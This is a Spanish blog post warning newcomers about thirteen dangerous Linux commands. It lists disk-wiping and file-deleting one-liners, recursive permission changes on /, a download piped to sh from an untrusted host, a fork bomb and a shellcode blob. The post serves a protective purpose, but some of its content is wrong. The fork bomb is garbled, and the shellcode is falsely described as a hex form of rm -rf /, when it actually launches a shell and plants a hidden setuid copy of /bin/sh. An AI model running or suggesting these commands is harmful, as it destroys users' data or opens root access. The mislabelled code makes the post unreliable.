Cuando comenzamos nuestras andadas en el mundo de la informática, ya sea en Windows, Mac OS X o incluso en Linux, es muy común encontrar información errada en foros y chats provenientes de personas que no tienen las mejores intensiones al momento de dirigirse a nosotros.

Dentro de estos consejos o comentarios pueden existir reales amenazas a nuestro sistema e información, más aún cuando nuestro conocimiento acerca del sistema operativo que usamos es limitado o en el peor de los casos nulo.


Existen varios comandos peligrosos en Linux que pueden llegar a ser desastrosos para nuestro sistema si los llegamos a ejecutar, por eso es mejor conocerlos y tenerlos presentes al momento de recibir “ayuda” en lugares públicos y poco confiables relacionados con este sistema operativo.

A continuación listaré 13 de ellos:

dijo:

rm -rf /



Este comando elimina recursivamente y de forma forzada todos los archivos y directorios almacenados en la partición raiz.

dijo:

char esp[] _attribute_ ((section(".text")) /* e.s.p
release */
= "xebx3ex5bx31xc0x50x54x5ax83xecx64x68"
"xffxffxffxffx68xdfxd0xdfxd9x68x8dx99"
"xdfx81x68x8dx92xdfxd2x54x5exf7x16xf7"
"x56x04xf7x56x08xf7x56x0cx83xc4x74x56"
"x8dx73x08x56x53x54x59xb0x0bxcdx80x31"
"xc0x40xebxf9xe8xbdxffxffxffx2fx62x69"
"x6ex2fx73x68x00x2dx63x00"
"cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;";



Esta es la versión hexadecimal del comando rm -rf / que incluso puede engañar a los mas conocedores.

dijo:

mkfs.ext3 /dev/sda



Este comando puede formatear o eliminar todos los archivos contenidos en el dispositivo mencionado después del comando mkfs.

dijo:

){:&};:



Conocido como la bomba fork, este comando le pide a tu sistema ejecutar una gran cantidad de procesos hasta que el sistema se bloquea, pudiendo resultar en el daño de información.

dijo:

comando > /dev/sda



Este comando escribirá datos en bruto en un bloque que usualmente dañara el sistema de archivos resultando en la perdida de información.

dijo:

wget http://fuente_poco_confiable O | sh



Nunca descargues scripts o código desde una fuente en la que no puedas confiar plenamente, mucho menos si la vas a ejecutar automáticamente una vez descargada.

dijo:

mv ~/* /dev/null
mv /home/tucarpetaprincipal/* /dev/null



Este comando moverá todos los archivos almacenados en tu carpeta principal a un lugar que no existe, perdiendo de forma definitiva toda tu información.

dijo:

dd if=/dev/urandom of=/dev/sda



Este comando llenará con datos aleatorios toda la partición de tu disco duro.

dijo:

chmod -R 777 /



Este comando concederá permisos de escritura a todo tu sistema.

dijo:

chmod 000 -R /
chown nobody:nobody -R /



Este comando elimina todos los accesos privilegiados a todos los usuarios en el sistema excepto Root.

dijo:

yes > /dev/sda



Este comando llenará tu disco duro con la letra ‘y‘.

dijo:

rm -rf /boot/



Este comando elimina todos los archivos del kernel, initrd y GRUB/LILO necesarios para iniciar el sistema.

dijo:

rm /bin/init
cd / ; find -iname init -exec rm -rf {} ;



Este comando borrará todos los archivos que contengan la palabra ‘init‘, incluso ‘/sbin/init‘.

Estos no son los únicos comandos peligrosos en Linux y probablemente ustedes conocerán muchos más, así que espero los compartan con nosotros a través de los comentarios.